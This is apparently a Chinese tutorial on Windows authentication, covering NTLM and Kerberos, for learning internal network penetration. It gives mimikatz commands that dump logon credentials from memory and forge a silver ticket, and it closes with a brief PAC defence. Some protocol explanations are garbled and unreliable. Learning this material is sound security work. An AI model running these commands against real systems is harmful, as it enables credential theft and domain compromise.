在了解内网渗透前,是很有必要去学习这些的。

Window密码存储地址

image_1dvghvc8e14em19r11o1q1ab51qs39.png-29.7kB

1
%SystemRoot%\system32\config\sam

Window密码存储过程

  • 用户输入密码
  • 程序将密码进行NTLM算法加密为HASH值存储在SAM文件,并保存在本地SAM数据库

可以看看NTLM HASH值是怎么样的

1.png-23.9kB

1
fuck NTLM加密后 8592e1331718673b0ee32df3c0153456

NTLM HASH的前者是LM HASH,简单来说就是LM算法比NTLM算法垃圾,然后被淘汰,所以比较新的操作系统的密码不容易被读取出来,而03xp系统就是使用LM HASH所以我们可以直接内网渗透的时候读取到原文密码而不用去跑HASH

Window登录过程

当我们登录window系统的时候,系统会读取SAM文件中的密码与我们输入的密码进行验证,如果正确则成功登录。在SAM文件中,我们的密码是NTLM HASH加密的,这样子在一定的情况下保障了密码的安全。

更详细的就是

用户开机输入密码 -> 系统会调用winlogon.exe接受用户输入的密码 -> 在lsass.exe进程将明文密码转换成NTLM HASH然后读取SAM数据库与用户名,如果正确将User SIDGroup SID传到winlogon.exe准备登录,如果失败则提示密码错误

LSASS用于本地安全和登录策略

Window网络认证

工作组概念(需要了解):

工作组(Work Group)是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。比如在一个网络内,可能有成百上千台工作电脑,如果这些电脑不进行分组,都列在“网上邻居”内,可想而知会有多么乱(恐怕网络邻居也会显示“下一页”吧)。为了解决这一问题,Windows 9x/NT/2000 才引用了“工作组”这个概念,比如一所高校,会分为诸如数学系、中文系之类的,然后数学系的电脑全都列入数学系的工作组中,中文系的电脑全部都列入到中文系的工作组中……如果你要访问某个系别的资源,就在“网上邻居”里找到那个系的工作组名,双击就可以看到那个系别的电脑了。

假设A主机与B主机同在一个工作组,A想登录B,那么A需要知道B的账号密码,且B需要开启SMB服务(PORT:445)。

SMB服务主要用于文件共享

NTLM协议

早期SMB协议在网络上是明文传输的,后来出现了LM验证机制,但是他很简单所以可以被破解为明文,所以又推出了NTLM

NTLM是一种网络认证协议,它基于挑战(Chalenge)响应(Response)机制的协议,只支持Window系统

挑战(Chalenge)响应(Response)

NTLM认证分三步:协商、质询、验证

协商:用于确认双方协议版本(用于兼容各版本)
质询:客户端向服务端发送用户信息请求,服务端接受请求生成一个16位随机数(Challenge),使用用户名对应的NTLM HASH加密Challenge然后生成为Challenge1,然后发送给客户端,客户端接收到Challenge后将要登录的账户对应的NTLM HASH加密Challenge生成Respone并发送给服务端,服务端接受到客户端的Respone后,对比ChallengeChallenge是否相同,如果相同就认证成功

1
Challen1 = NTLM HASH(Challenge) = Net NTLM Hash

验证:质询完成后验证结果

NTLM v2协议

NTLM v1生成的随机数是8位、NTLM v2的有16位。

v1的加密算法是DESv2的算法是HMAC-MD5

Pass The Hash(哈希传递)

在内网横向渗透中,攻击人员经常会抓取管理员的密码和NTLM HASH来进行横向渗透

哈希传递指不需要账户明文密码的情况下完成认证,使攻击人员在渗透中获取不到明文也可以进行登录。

哈希传递的要求

1、需要能访问目标服务器
2、需要传递被认证的用户名
3、需要传递被认证用户的NTLM HASH

相当于web端的xss获取到的cookie,而不需要账户密码进行认证。

哈希传递原理

将用户名对应的NTLM HASH加密服务器给出的Chanllenge,生成一个Response给服务器来完成认证。

Kerberos域认证

活动目录(Active Directory)概念

Active Directory存储了有关网络对象的信息,让管理员和用户可以查找和使用执行信息

网络对象:存储用户、用户组、计算机、域、组织单位以及安全策略…

在一个机器上装上活动目录后,这个机器就是一个域控服务器

Kerberos认证协议

NTLM一样都是认证协议,当他比NTLM安全

Kerberos的设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

简要大概地说一下Kerberos是如何工作的:

  1. 假设你要在一台电脑上访问另一个服务器(你可以发送telnet或类似的登录请求)。你知道服务器要接受你的请求必须要有一张Kerberos的“入场券”。
  2. 要得到这张入场券,你首先要向验证服务器(AS)请求验证。验证服务器会创建基于你的密码(从你的用户名而来)的一个“会话密钥”(就是一个加密密钥),并产生一个代表请求的服务的随机值。这个会话密钥就是“允许入场的入场券”。
  3. 然后,你把这张允许入场的入场券发到授权服务器(TGS)。TGS物理上可以和验证服务器是同一个服务器,只不过它现在执行的是另一个服务。TGS返回一张可以发送给请求服务的服务器的票据。
  4. 服务器或者拒绝这张票据,或者接受这张票据并执行服务。
  5. 因为你从TGS收到的这张票据是打上时间戳的,所以它允许你在某个特定时期内(一般是八小时)不用再验证就可以使用同一张票来发出附加的请求。使这张票拥有一个有限的有效期使其以后不太可能被其他人使用。

或者如下的理解:

  1. 客户机将明文密码、时间戳(使用krbtgt密码hash作为密钥)进行NTLM哈希加密,发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
  2. TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberosTGT数据
  3. 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  4. 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

白银票据(Silver Tickets)

特点:
不需要与KDC交互
需要目标服务器的NTLM HASH(有目标服务器的权限,但是不知道明文密码,就可以用NTLM HASH跳过服务器认证完成认证)

Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash

伪造白银票据

这里使用的是mimikatz.exe

1
kerberos::list #列出票据
2
kerberos::purge #清除票据
导出Server Hash
1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > pj.txt
伪造票据
1
mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

白银票据防御

  • 保证服务器HASH不被获取
  • 开启PAC(特权属性证书保护,规定服务器必须将票据发送给kerberos服务并验证票据是否有效)
    1
    开启方法:
    2
    将注册表中HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters的ValidateKdcPacSignature设置为1

黄金票据(Golden Tickets)

特点:

  1. 需要与DC通信
  2. 需要krbtgt用户的HASH
1
krbtgt HASH = KDC HASH

暂未看透。待更新。